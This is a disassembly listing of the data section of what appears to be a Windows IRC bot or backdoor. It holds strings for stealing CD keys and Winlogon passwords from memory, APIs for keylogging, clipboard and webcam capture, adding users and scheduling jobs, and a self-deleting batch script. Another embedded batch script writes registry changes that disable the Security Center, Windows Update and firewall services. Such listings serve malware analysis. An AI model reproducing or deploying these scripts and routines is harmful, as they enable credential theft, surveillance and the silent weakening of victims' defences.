aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_408B8D+2Bo
		align 4
unk_42AA3C	db    2			; DATA XREF: sub_408D42+C5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_42AA6C	db    2			; DATA XREF: sub_408D42+5Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_408E5A+107o
		align 4
aS_3		db '%s\*',0             ; DATA XREF: sub_408E5A+1Ao
		align 4
unk_42AABC	db    2			; DATA XREF: sub_408FAC:loc_409125o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToEnable	db '   Failed to enable Debug Privilege.',0
		align 10h
unk_42AB00	db    2			; DATA XREF: sub_408FAC:loc_4090F8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindWi	db '   Unable to find Winlogon Process ID.',0
unk_42AB44	db    2			; DATA XREF: sub_408FAC:loc_4090F1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindTh	db '   Unable to find the password in memory.',0
		align 4
unk_42AB8C	db    2			; DATA XREF: sub_408FAC+117o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLogo	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(no password)).',0
		align 4
off_42AC04	dd offset byte_530055	; DATA XREF: sub_408FAC+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004A+3
		dd offset byte_4E0049
		dd 0
off_42AC1C	dd offset byte_530055	; DATA XREF: sub_408FAC+CEo
		dd offset byte_520045
		dd offset loc_41004A+4
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_408FAC+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_408FAC+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_408FAC+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_408FAC+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_408FAC+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_408FAC+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_408FAC+40o
					; sub_408FAC+161o ...
		align 10h
unk_42ACE0	db    2			; DATA XREF: sub_408FAC+35o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aOnlySupportedO	db '   Only supported on Windows NT/2000.',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_40917E+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_40917E+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_40917E+AFo
		align 10h
unk_42AD40	db    2			; DATA XREF: sub_4095E4+70o
					; sub_40967B+C7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_0	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/%S).',0
		align 4
unk_42ADAC	db    2			; DATA XREF: sub_40967B+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_1	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(N/A)).',0
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409794+C50o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409794+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409794:loc_40A3CFo
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409794+BE6o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409794+BD9o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409794+BCCo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409794+BBFo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409794+BB2o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409794+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409794:loc_40A331o
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409794+B68o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409794+B60o
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409794:loc_40A2E7o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409794+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409794+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409794+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409794+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409794:loc_40A273o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409794+AAAo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409794+AA2o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409794:loc_40A229o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409794+A60o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409794+A58o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409794:loc_40A1DFo
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409794+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409794+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409794+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409794+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409794+99Ao
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409794+98Do
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409794+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409794+973o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409794+966o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409794+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409794+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409794:loc_40A0D4o
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409794+903o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409794+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409794+8EEo
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409794:loc_40A075o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409794+8B4o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409794+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409794+835o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409794+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409794+81Bo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409794+80Eo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409794+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409794+7F4o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409794+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409794+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409794+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409794:loc_409F55o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409794+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409794+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409794+66Eo
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409794+661o
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409794+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409794+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409794+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409794+62Do
					; ___:0042F1B8o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409794+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409794+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409794+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409794+5F9o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_409794+5ECo
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409794+5DFo
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_409794+5D2o
					; sub_40F6F1+22E8o
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409794+5C5o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409794+5B8o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409794+5ABo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_409794+59Eo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409794+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409794+584o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_409794+577o
					; ___:0042F5C8o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409794+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_409794+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409794+550o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409794+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409794+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409794+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409794+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409794+50Fo
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409794+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409794+4F6o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409794+483o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409794+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409794+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409794+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409794+44Fo
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409794+442o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409794+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409794+428o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409794+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409794:loc_409BA3o
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409794:loc_409B7Bo
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409794+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409794+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409794+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409794+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409794+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409794+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409794+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409794:loc_409ACDo
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409794+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409794+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409794:loc_409A88o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409794+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409794+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409794+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409794+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409794+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409794+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409794:loc_4099F3o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409794+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409794+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409794+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409794:loc_40998Co
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409794+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409794+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409794+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409794+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409794+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409794+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409794+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409794+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409794:loc_4098C9o
					; sub_41EE5D+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409794:loc_40989Co
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409794+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409794+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409794+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409794+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409794+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409794+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409794+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409794+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409794+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409794+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409794+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409794+Ao
		align 4
unk_42B6E4	db    2			; DATA XREF: sub_40A421+2F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDllTestComplet	db '  DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A421+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A421+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A421+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A421+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A421+28o
		align 10h
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40A9AA+72o
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_40AA6F+5o
					; sub_416233+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_40AAF1+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AB95+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40ABB7+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_40ABB7+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_40ABB7+48o
		align 4
aCA_bat		db 'c:\a.bat',0         ; DATA XREF: sub_40AD3F+29o
		align 4
a@echoOffEchoRe	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_40AD3F+14o
		db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
		db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
		db 'erv]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
		db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
		db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
		db 0Ah
		db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
		db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
